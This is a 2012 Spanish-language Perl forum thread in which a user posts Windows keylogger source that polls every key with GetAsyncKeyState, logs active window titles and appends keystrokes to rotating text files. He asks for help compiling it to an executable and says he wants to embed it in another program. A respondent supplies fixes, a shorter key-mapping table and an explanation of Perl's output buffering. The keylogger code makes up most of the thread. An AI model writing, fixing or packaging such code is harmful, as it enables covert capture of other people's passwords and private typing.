Foro - Perl en Español

por **BigBear** » 2012-07-21 21:33 @940

Tengo el siguiente código

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;
 
Win32::API->Import('user32', 'GetKeyState', 'I', 'I');
 
sub GetCapsLock {
  GetKeyState(0x14) & 1;
}
 
sub GetNumLock {
  GetKeyState(0x90) & 1;
}
 
sub GetScrollLock {
  GetKeyState(0x91) & 1;
}
 
sub SetCapsLock {}   # Not yet implemented
 
sub SetNumLock {}    # Not yet implemented
 
sub SetScrollLock {} # Not yet implemented
 
while(1){ 
 
    if(-s OUT >= 1048576){
                close(OUT);
                #$I++; 
                open (OUT, ">>outkey$I.txt") || die "could not create test.out - $!";
        }
        
        
        if(GetKeyState(20)==0){$caps=32;$ced=0;}else{$caps=0;$ced=7;} #checks the state of CAPSLOOK.
                for(8,9,13,16,32,187..193,219..222,226){
                        $i = $_;
                        if(GetAsyncKeyState($i) == -32767){
                                switch($i){
                                        case 8      {LOG ("\b")}
                                        case 9      {LOG ("\t")}
                                        case 13     {LOG ("\n")}
                                        case 16     {callSHIFT()} # call sub callSHIFT.
                                        case 32     {LOG(' ')}
                                        case 187    {LOG('=')}
                                        case 188    {LOG(',')} 
                                        case 189    {LOG('-')} 
                                        case 190    {LOG('.')}
                                        case 191    {LOG(';')} 
                                        case 192    {LOG('\'')} 
                                        case 193    {LOG("/")} 
                                        case 219    {LOG('\\\'')} # (´)
                                        case 220    {LOG(']')} 
                                        case 221    {LOG('[')}
                                        case 222    {LOG('~')}
                                        case 226    {LOG('\\')}
                                }
                        }
                }
        
        for($i=48;$i<=57;$i++){ # Numbers 0-9.
                if (GetAsyncKeyState($i) == -32767){
                        LOG(chr($i));
                } 
        }
 
        CHR($caps,$ced);
        #usleep(1000); # reduces consumption of CPU.
}
 
sub callSHIFT {
        $shift = 1;
        while($shift == 1){
                for(48..57,187..193,219..222,226){
                        $i = $_;
                        if(GetAsyncKeyState($i) == -32767){
                                switch ($i){
                                        case 48     {LOG(')')}
                                        case 49     {LOG('!')}
                                        case 50     {LOG('@')}
                                        case 51     {LOG('#')}
                                        case 52     {LOG('$')}
                                        case 53     {LOG('%')}
                                        case 54     {LOG('¨')}
                                        case 55     {LOG('&')}
                                        case 56     {LOG('*')}
                                        case 57     {LOG('(')}
                                        case 187    {LOG('+')}
                                        case 188    {LOG('<')}
                                        case 189    {LOG('_')}
                                        case 190    {LOG('>')}          
                                        case 191    {LOG(':')} 
                                        case 192    {LOG('"')}          
                                        case 193    {LOG('?')} 
                                        case 219    {LOG('/\'')} # (`)
                                        case 220    {LOG('}')} 
                                        case 221    {LOG('{')}  
                                        case 222    {LOG('^')}
                                        case 226    {LOG('|')}
                                }
                        }
                }
                CHR(0,7);
                if(!GetAsyncKeyState(16) == 1){ $shift = 0; } # checks the state of SHIFT.
    }
}
 
sub CHR {
        $caps = shift;
        $ced  = shift;
        for($i=65;$i<=90;$i++){
                if(GetAsyncKeyState($i) == -32767){
                        LOG(chr($i+$caps));
                } # letters a-z A-Z
    }
        
        if(GetAsyncKeyState(186)== -32767){
                LOG (chr(135-$ced));
        } # Cedilha Ç,ç
        
        #usleep(1000) # reduces consumption of CPU.
}
 
sub LOG {
        $LOG = shift;
        print $LOG;
        print OUT $LOG;
}
Coloreado en 0.005 segundos,  usando GeSHi 1.0.8.4

Cuando lo compilo a exe con perl2exe me dice este error:

Sintáxis: [ Descargar ] [ Ocultar ]

Using text Syntax Highlighting

Semicolon seems to be missing at C:\Perl\exe\grasa.exe line 13.

Number found where operator expected at C:\Perl\exe\grasa.exe line 17, near "n3"

        (Missing semicolon on previous line?)

Number found where operator expected at C:\Perl\exe\grasa.exe line 18, near "2"

        (Missing semicolon on previous line?)Coloreado en 0.000 segundos,  usando GeSHi 1.0.8.4

¿Qué estoy haciendo mal ?

No uses el módulo Switch. Está lleno de errores. Tantos, que ha sido eliminado de los últimas distribuciones de Perl. Es mejor usar el foreach/when que existe a partir de Perl v5.10. En perlsyn tienes más opciones para ponerlo de otras maneras (given/when corre riesgo de desaparecer, también, así que al final queda for/when).

Como este módulo hace un filtrado del código fuente, es muy posible que esté desplazando la línea donde ocurre el error. El aviso de "n3" suena a que ocurre en medio de un "Win32", lo cual es absurdo. Pero con Switch todo es posible.

Quítalo.

por **BigBear** » 2012-07-22 08:36 @400

Costó pero lo logré fixear ( ¿ es correcto ese termino ? )

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);;
use Win32::API;
 
Win32::API->Import( 'user32', 'GetKeyState', 'I', 'I' );
 
sub GetCapsLock {
GetKeyState(0x14) & 1;
}
 
sub GetNumLock {
GetKeyState(0x90) & 1;
}
 
sub GetScrollLock {
GetKeyState(0x91) & 1;
}
 
sub SetCapsLock { }    # Not yet implemented
 
sub SetNumLock { }     # Not yet implemented
 
sub SetScrollLock { }  # Not yet implemented
 
my ( $caps, $ced, $i, $I, $shift, $window, $window0, $LOG );
 
$I      = 0;
$window = 0;
 
open( OUT, ">>outkey" . $I . ".txt" )
  || die "could not create test.out - $!";    # out
 
 
while (1) {
 
if ( -s OUT >= 1048576 ) {
close(OUT);
$I++;
open( OUT, ">>outkey$I.txt" ) || die "could not create test.out - $!";
}
 
$window0 = GetForegroundWindow();    # capture the active window title.
if ( $window0 != $window ) {
$window = $window0;
LOG( GetWindowText($window) . "\n" );
}
 
if ( GetKeyState(20) == 0 ) { $caps = 32; $ced = 0; }
else { $caps = 0; $ced = 7; }        #checks the state of CAPSLOOK.
for ( 8, 9, 13, 16, 32, 187 .. 193, 219 .. 222, 226 ) {
$i = $_;
if ( GetAsyncKeyState($i) == -32767 ) {
 
 
if($i eq "8") { LOG("\b") }
if($i eq "9")   { LOG("\t") }
if($i eq "13")  { LOG("\n") }
if($i eq "16") { callSHIFT() }             # call sub callSHIFT.
if($i eq "32") { LOG(' ') }
if($i eq "187") { LOG('=') }
if($i eq "188") { LOG(',') }
if($i eq "189") { LOG('-') }
if($i eq "190") { LOG('.') }
if($i eq "191") { LOG(';') }
if($i eq "192")  { LOG('\'') }
if($i eq "193") { LOG("/") }
if($i eq "219")  { LOG('\\\'') }             # (´)
if($i eq "220")  { LOG(']') }
if($i eq "221") { LOG('[') }
if($i eq "222")  { LOG('~') }
if($i eq "226")  { LOG('\\') }
 
}
}
 
for ( $i = 48 ; $i <= 57 ; $i++ ) {    # Numbers 0-9.
if ( GetAsyncKeyState($i) == -32767 ) {
LOG( chr($i) );
}
}
 
CHR( $caps, $ced );
                         # reduces consumption of CPU.
}
 
 
sub callSHIFT {
$shift = 1;
while ( $shift == 1 ) {
for ( 48 .. 57, 187 .. 193, 219 .. 222, 226 ) {
$i = $_;
if ( GetAsyncKeyState($i) == -32767 ) {
 
 
if($i eq "48")  { LOG(')') }
if($i eq "47") { LOG('!') }
if($i eq "50")  { LOG('@') }
if($i eq "51")   { LOG('#') }
if($i eq "52")  { LOG('$') }
if($i eq "53") { LOG('%') }
if($i eq "54")   { LOG('¨') }
if($i eq "55")   { LOG('&') }
if($i eq "56")   { LOG('*') }
if($i eq "57")   { LOG('(') }
if($i eq "187")  { LOG('+') }
if($i eq "188")  { LOG('<') }
if($i eq "189") { LOG('_') }
if($i eq "190")  { LOG('>') }
if($i eq "191") { LOG(':') }
if($i eq "192")  { LOG('"') }
if($i eq "193")  { LOG('?') }
if($i eq "291") { LOG('/\'') }    # (`)
if($i eq "220") { LOG('}') }
if($i eq "221")  { LOG('{') }
if($i eq "222") { LOG('^') }
if($i eq "226")  { LOG('|') }
 
}
}
CHR( 0, 7 );
if ( !GetAsyncKeyState(16) == 1 ) { $shift = 0; }   # checks the state of SHIFT.
}
}
 
sub CHR {
$caps = shift;
$ced  = shift;
for ( $i = 65 ; $i <= 90 ; $i++ ) {
if ( GetAsyncKeyState($i) == -32767 ) {
LOG( chr( $i + $caps ) );
}                                                   # letters a-z A-Z
}
 
if ( GetAsyncKeyState(186) == -32767 ) {
LOG( chr( 135 - $ced ) );
}    
 
  # reduces consumption of CPU.
}
 
sub LOG {
$LOG = shift;
print $LOG;
print OUT $LOG;
}
 
Coloreado en 0.004 segundos,  usando GeSHi 1.0.8.4

por **explorer** » 2012-07-22 10:35 @483

Doddy escribiste:Costó pero lo logré fixear ( ¿ es correcto ese termino ? )

Obviamente, no.

Literalmente, se podría traducir por 'fijar', pero 'arreglar' es más claro y conocido.

Códigos como este

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

for ( 8, 9, 13, 16, 32, 187 .. 193, 219 .. 222, 226 ) {
    $i = $_;
    if ( GetAsyncKeyState($i) == -32767 ) {
        if ( $i eq "8" )   { LOG("\b") }
        if ( $i eq "9" )   { LOG("\t") }
        if ( $i eq "13" )  { LOG("\n") }
        if ( $i eq "16" )  { callSHIFT() }    # call sub callSHIFT.
        if ( $i eq "32" )  { LOG(' ') }
        if ( $i eq "187" ) { LOG('=') }
        if ( $i eq "188" ) { LOG(',') }
        if ( $i eq "189" ) { LOG('-') }
        if ( $i eq "190" ) { LOG('.') }
        if ( $i eq "191" ) { LOG(';') }
        if ( $i eq "192" ) { LOG('\'') }
        if ( $i eq "193" ) { LOG("/") }
        if ( $i eq "219" ) { LOG('\\\'') }    # (´)
        if ( $i eq "220" ) { LOG(']') }
        if ( $i eq "221" ) { LOG('[') }
        if ( $i eq "222" ) { LOG('~') }
        if ( $i eq "226" ) { LOG('\\') }
    }
}
Coloreado en 0.002 segundos,  usando GeSHi 1.0.8.4

se pueden abreviar mucho:

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

my %scan_to_codes = (
    8   => "\b",
    9   => "\t",
    13  => "\n",
);
for my $i ( sort { $a <=> $b } keys %scan_to_codes ) {
    if ( GetAsyncKeyState($i) == -32767 ) {
        if ( $i == 16 )  {   # excepción
            callSHIFT();     # call sub callSHIFT
        }
        elsif ( $scan_to_codes{$i} ) {
            LOG($scan_to_codes{$i});
        }
    }
}
Coloreado en 0.001 segundos,  usando GeSHi 1.0.8.4

Esperar por la pulsación de una determinada tecla está bien si necesitas un control total del teclado, pero si solo necesitas saber qué carácter (no tecla) ha pulsado el usuario, te vale con usar un módulo que devuelva ese carácter (no tecla). Así no hace falta saber si tiene pulsado además la tecla mayúsculas, la de control, la alternativa, o la meta-tecla. O una combinación de éstas. O si ya estaba pulsada la tecla de fija-mayúsculas... O peor aún: tiene configurada una distribución del teclado distinta.

por **BigBear** » 2012-07-22 14:11 @633

En el código se usa $|++ para que el código esté siempre activo.

¿ Me podrías explicar qué es y qué otras alternativas tengo para no usarlo ?

por **explorer** » 2012-07-22 14:44 @655

La variable especial $| es la que indica si está activado o no el caché en el búfer de salida estándar.

Si está puesto a cero, el caché está activado. La salida efectiva de la salida estándar se produce cada vez que el búfer se llena o cuando se cierra el canal.

Si está puesto a un valor distinto de cero, el caché está desactivado, por lo que toda salida de la salida estándar se produce de forma inmediata.

Más información en tu propio ordenador en perldoc perlvar, y en la Web.

por **BigBear** » 2012-07-22 15:00 @666

Yo tenía pensado portabilizar el programa en una función para un programa aparte, ¿ no voy a tener ningún problema en el programa aparte si $| está activo ?

por **explorer** » 2012-07-22 15:21 @681

Hummm... ¿has entendido para qué sirve?

por **BigBear** » 2012-07-22 15:22 @682

Sí, ignora la última pregunta.

por **BigBear** » 2012-07-23 17:32 @772

Perdón por el doble post pero no me reconoce el 0.

Sintáxis: [ Descargar ] [ Ocultar ]

Using perl Syntax Highlighting

for my $i(96..105) {    # Numbers 0-9. DERECHA
 
my %numeros_derecha = (
96  => "0",
97  => "1",
98  => "2",
99  => "3",
100 => "4",
101 => "5",
102 => "6",
103 => "7",
104 => "8",
105 => "9"
);
 
for my $i ( sort { $a <=> $b } keys %numeros_derecha) {
unless( GetAsyncKeyState($i) ne -32767 ) {
 
if($numeros_derecha{$i}) {
print $numeros_derecha{$i};
#LOG($numeros_derecha{$i},"asinoma");
}
 
}
}
 
}
Coloreado en 0.001 segundos,  usando GeSHi 1.0.8.4

¿ Hay algo mal en el código ?

Foro - Perl en Español

Error en compilación con perl2exe

Error en compilación con perl2exe

Publicidad

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

Re: Error en compilación con perl2exe

¿Quién está conectado?